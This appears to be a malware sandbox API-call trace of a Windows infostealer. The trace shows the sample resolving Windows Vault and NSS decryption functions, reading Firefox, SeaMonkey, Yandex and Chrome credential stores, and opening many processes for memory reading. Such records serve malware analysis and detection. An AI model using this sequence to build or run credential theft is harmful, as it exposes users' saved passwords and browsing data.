Fn
|
|
Module | Get Address | module_name = c:\windows\system32\pstorec.dll, function = PStoreCreateInstance, address_out = 0x7281526c | 1 |
Fn
|
|
Module | Load | module_name = vaultcli.dll, base_address = 0x723a0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultOpenVault, address_out = 0x723a26a9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultCloseVault, address_out = 0x723a2718 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultEnumerateItems, address_out = 0x723a3099 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultFree, address_out = 0x723a4321 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultGetInformation, address_out = 0x723a24c0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\vaultcli.dll, function = VaultGetItem, address_out = 0x723a3242 | 2 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\history.dat, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\places.sqlite, type = file_attributes | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\places.sqlite, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_BACKUP_SEMANTICS, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\places.sqlite, type = time | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\profiles.ini, type = file_attributes | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile0, key_name = Path, data_out = Profiles/zcf30c9i.default | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile0, key_name = IsRelative, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile1, key_name = Path | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile1, key_name = IsRelative, default_value = 0 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\bin | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Module | Get Handle | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, base_address = 0x0 | 1 |
Fn
|
|
Module | Load | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, base_address = 0x5f200000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Init, address_out = 0x5f2bd70b | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Shutdown, address_out = 0x5f2bd13c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_GetInternalKeySlot, address_out = 0x5f253c51 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_FreeSlot, address_out = 0x5f253333 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_CheckUserPassword, address_out = 0x5f23cbc4 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_Authenticate, address_out = 0x5f23d3ca | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11SDR_Decrypt, address_out = 0x5f2500a7 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\logins.json, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Firefox\Profiles\zcf30c9i.default\signons.sqlite, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\bin | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Firefox\sqlite3.dll, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Firefox\mozsqlite3.dll, type = file_attributes | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\program files\mozilla firefox\nss3.dll, base_address = 0x5f200000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_open, address_out = 0x5f361ca0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_prepare, address_out = 0x5f2ece70 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_step, address_out = 0x5f355200 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_text, address_out = 0x5f30d400 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_int, address_out = 0x5f30d3a0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_int64, address_out = 0x5f30d3d0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_finalize, address_out = 0x5f339f60 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_close, address_out = 0x5f33bde0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_exec, address_out = 0x5f33a270 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\bin | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\program files\mozilla firefox\nss3.dll, base_address = 0x5f200000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Init, address_out = 0x5f2bd70b | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Shutdown, address_out = 0x5f2bd13c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_GetInternalKeySlot, address_out = 0x5f253c51 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_FreeSlot, address_out = 0x5f253333 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_CheckUserPassword, address_out = 0x5f23cbc4 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_Authenticate, address_out = 0x5f23d3ca | 1 |
Fn
|
|
Module | Get Address | module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11SDR_Decrypt, address_out = 0x5f2500a7 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Load | module_name = psapi.dll, base_address = 0x760d0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\psapi.dll, function = GetModuleBaseNameW, address_out = 0x760d152c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\psapi.dll, function = EnumProcessModules, address_out = 0x760d1408 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\psapi.dll, function = GetModuleFileNameExW, address_out = 0x760d13f0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\psapi.dll, function = EnumProcesses, address_out = 0x760d1544 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\psapi.dll, function = GetModuleInformation, address_out = 0x760d1420 | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\system32\taskhost.exe, file_name_orig = C:\Windows\system32\taskhost.exe, size = 260 | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\windows\system32\kernel32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetProcessTimes, address_out = 0x7638f626 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\system32\dwm.exe, file_name_orig = C:\Windows\system32\Dwm.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\explorer.exe, file_name_orig = C:\Windows\Explorer.EXE, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\system32\taskeng.exe, file_name_orig = C:\Windows\system32\taskeng.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\system32\conhost.exe, file_name_orig = C:\Program Files\Adobe\specifies.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\microsoft.net\gunsmarc.exe, file_name_orig = C:\Program Files\Microsoft.NET\gunsmarc.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\msbuild\improve corporate vital.exe, file_name_orig = C:\Program Files\MSBuild\improve corporate vital.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\adobe\california_hate_gig_hits.exe, file_name_orig = C:\Program Files\Adobe\california_hate_gig_hits.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\windows\system32\sc.exe, file_name_orig = C:\Program Files\Google\streamnomirrorsgrew.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows defender\cliff_types.exe, file_name_orig = C:\Program Files\Windows Defender\cliff_types.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows journal\shakespeare.exe, file_name_orig = C:\Program Files\Windows Journal\shakespeare.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\microsoft office\collectables_technical.exe, file_name_orig = C:\Program Files\Microsoft Office\collectables_technical.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows sidebar\pretty guru.exe, file_name_orig = C:\Program Files\Windows Sidebar\pretty guru.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\msbuild\received_suggestions_stopped_emphasis.exe, file_name_orig = C:\Program Files\MSBuild\received_suggestions_stopped_emphasis.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows journal\emerging anniversary muscle cradle.exe, file_name_orig = C:\Program Files\Windows Journal\emerging anniversary muscle cradle.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows media player\herbs.exe, file_name_orig = C:\Program Files\Windows Media Player\herbs.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\google\paso_nylon_tests.exe, file_name_orig = C:\Program Files\Google\paso_nylon_tests.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\uninstall information\statewide-emergency.exe, file_name_orig = C:\Program Files\Uninstall Information\statewide-emergency.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows sidebar\garageopinionsjoycecincinnati.exe, file_name_orig = C:\Program Files\Windows Sidebar\garageopinionsjoycecincinnati.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\java\ping.exe, file_name_orig = C:\Program Files\Java\ping.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows defender\merit.exe, file_name_orig = C:\Program Files\Windows Defender\merit.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\microsoft office\silent_romantic.exe, file_name_orig = C:\Program Files\Microsoft Office\silent_romantic.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows portable devices\accredited-reject-transmitted.exe, file_name_orig = C:\Program Files\Windows Portable Devices\accredited-reject-transmitted.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\windows portable devices\project kent essay.exe, file_name_orig = C:\Program Files\Windows Portable Devices\project kent essay.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\microsoft.net\cuisine-programs.exe, file_name_orig = C:\Program Files\Microsoft.NET\cuisine-programs.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\program files\microsoft office\root\office16\winword.exe, file_name_orig = C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Process | Open | desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION | 1 |
Fn
|
|
Module | Get Filename | module_name = C:\Program Files\Mozilla Firefox\nss3.dll, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Sea Monkey\nss3.dll, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Crashpad\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Crashpad\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, desired_access = GENERIC_READ | 1 |
Fn
|
|
System | Get Info | type = Hardware Information | 1 |
Fn
|
|
System | Get Info | type = Operating System | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, size = 100, size_out = 100 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data-wal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, size = 2048, size_out = 2048 | 4 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, size = 16, size_out = 16 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data-wal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, desired_access = GENERIC_READ | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, size = 100, size_out = 100 | 1 |
Fn
Data
|
|
